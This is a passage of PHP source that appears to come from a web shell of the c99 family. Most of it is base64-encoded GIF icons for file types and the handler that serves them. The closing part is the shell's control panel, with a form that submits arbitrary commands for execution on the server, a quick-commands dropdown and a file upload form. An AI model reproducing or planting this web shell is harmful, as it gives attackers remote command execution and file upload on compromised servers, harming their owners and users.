2475"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
2476"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
2477"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
2478"yAsokBkQADs=",
2479"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
2480"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
2481"sort_asc"=>
2482"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
2483"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
2484"sort_desc"=>
2485"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
2486"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
2487"sql_button_drop"=>
2488"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2489"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2490"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2491"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2492"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2493"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2494"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2495"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2496"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2497"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2498"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2499"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2500"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2501"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
2502"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
2503"AQEAOw==",
2504"sql_button_empty"=>
2505"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2506"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2507"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2508"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2509"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2510"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2511"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2512"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2513"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2514"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2515"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2516"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2517"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2518"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
2519"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
2520"sql_button_insert"=>
2521"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2522"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2523"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2524"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2525"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2526"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2527"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2528"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2529"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2530"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2531"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2532"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2533"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2534"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
2535"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
2536"up"=>
2537"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
2538"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
2539"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
2540"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
2541"write"=>
2542"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
2543"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
2544"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
2545"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
2546"ext_asp"=>
2547"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
2548"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
2549"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
2550"ext_mp3"=>
2551"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
2552"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
2553"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
2554"ext_avi"=>
2555"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
2556"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
2557"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
2558"ext_cgi"=>
2559"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
2560"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
2561"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
2562"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
2563"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2564"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2565"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2566"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
2567"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
2568"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
2569"RYtMAgEAOw==",
2570"ext_cmd"=>
2571"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
2572"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
2573"dmrYAMn1onq/YKpjvEgAADs=",
2574"ext_cpp"=>
2575"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
2576"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
2577"Eq7YrLDE7a4SADs=",
2578"ext_ini"=>
2579"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
2580"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
2581"SnEjgPVarHEHgrB43JvszsQEADs=",
2582"ext_diz"=>
2583"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
2584"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
2585"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
2586"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
2587"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
2588"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
2589"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
2590"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
2591"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2592"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2593"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2594"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2595"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2596"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2597"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
2598"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
2599"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
2600"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
2601"Ow==",
2602"ext_doc"=>
2603"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
2604"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
2605"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
2606"ext_exe"=>
2607"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
2608"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
2609"xhIAOw==",
2610"ext_h"=>
2611"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
2612"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
2613"Wq/NknbbSgAAOw==",
2614"ext_hpp"=>
2615"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
2616"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
2617"UqUagnbLdZa+YFcCADs=",
2618"ext_htaccess"=>
2619"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
2620"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
2621"AAA7",
2622"ext_html"=>
2623"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
2624"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
2625"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
2626"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
2627"ADs=",
2628"ext_jpg"=>
2629"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
2630"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
2631"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
2632"FxEAOw==",
2633"ext_js"=>
2634"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
2635"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
2636"a00AjYYBbc/o9HjNniUAADs=",
2637"ext_lnk"=>
2638"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
2639"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
2640"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
2641"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
2642"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
2643"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2644"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2645"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
2646"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
2647"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
2648"ADs=",
2649"ext_log"=>
2650"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
2651"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
2652"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
2653"ext_php"=>
2654"R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp".
2655"aGeyYpqJlRG/rlwAADs=",
2656"ext_pl"=>
2657"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
2658"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
2659"ext_swf"=>
2660"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
2661"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
2662"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
2663"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
2664"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
2665"ext_tar"=>
2666"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
2667"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
2668"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
2669"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
2670"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2671"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2672"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2673"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
2674"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
2675"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
2676"u4tLAgEAOw==",
2677"ext_txt"=>
2678"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
2679"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
2680"UpPWG3Ig6Hq/XmRjuZwkAAA7",
2681"ext_wri"=>
2682"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
2683"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
2684"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
2685"ext_xml"=>
2686"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
2687"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2688"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
2689"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
2690"IQA7"
2691);
2692//Untuk optimalisasi ukuran dan kecepatan.
2693$imgequals = array(
2694 "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
2695 "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
2696 "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
2697 "ext_html"=>array("ext_html","ext_htm"),
2698 "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
2699 "ext_lnk"=>array("ext_lnk","ext_url"),
2700 "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
2701 "ext_doc"=>array("ext_doc","ext_dot"),
2702 "ext_js"=>array("ext_js","ext_vbs"),
2703 "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
2704 "ext_wri"=>array("ext_wri","ext_rtf"),
2705 "ext_swf"=>array("ext_swf","ext_fla"),
2706 "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
2707 "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
2708);
2709if (!$getall) {
2710 header("Content-type: image/gif");
2711 header("Cache-control: public");
2712 header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
2713 header("Cache-control: max-age=".(60*60*24*7));
2714 header("Last-Modified: ".date("r",filemtime(__FILE__)));
2715 foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
2716 if (empty($images[$img])) {$img = "small_unk";}
2717 if (in_array($img,$ext_tar)) {$img = "ext_tar";}
2718 echo base64_decode($images[$img]);
2719}
2720else {
2721 foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
2722 natsort($images);
2723 $k = array_keys($images);
2724 echo "<center>";
2725 foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
2726 echo "</center>";
2727}
2728exit;
2729}
2730
2731echo "</td></tr></table>\n";
2732/*** COMMANDS PANEL ***/
2733?>
2734
2735<table class=mainpanel>
2736<tr><td align=right>Command:</td>
2737<td><form method="POST">
2738 <input type=hidden name=act value="cmd">
2739 <input type=hidden name="d" value="<?php echo $dispd; ?>">
2740 <input type="text" name="cmd" size="100" value="<?php echo htmlspecialchars($cmd); ?>">
2741 <input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute">
2742 </form>
2743</td></tr>
2744<tr><td align=right>Quick Commands:</td>
2745<td><form method="POST">
2746 <input type=hidden name=act value="cmd">
2747 <input type=hidden name="d" value="<?php echo $dispd; ?>">
2748 <input type=hidden name="cmd_txt" value="1">
2749 <select name="cmd">
2750 <?php
2751 foreach ($cmdaliases as $als) {
2752 echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
2753 }
2754 foreach ($cmdaliases2 as $als) {
2755 echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
2756 }
2757 ?>
2758 </select> <input type=submit name=submit value="Execute">
2759 </form>
2760</td></tr>
2761<tr><td align=right>Upload:</td>
2762<td><form method="POST" enctype="multipart/form-data">
2763 <input type=hidden name=act value="upload">
2764 <input type=hidden name="miniform" value="1">
2765 <input type="file" name="uploadfile"> <input type=submit name=submit value="Upload"> <?php echo $wdt." Max size: ". @ini_get("upload_max_filesize")."B"; ?>
2766 </form>
2767</td></tr>
2768<tr><td align=right>PHP Filesystem:</td>
2769<td>
2770<?php ##[ Acid ]## ?>
2771<script language="javascript">
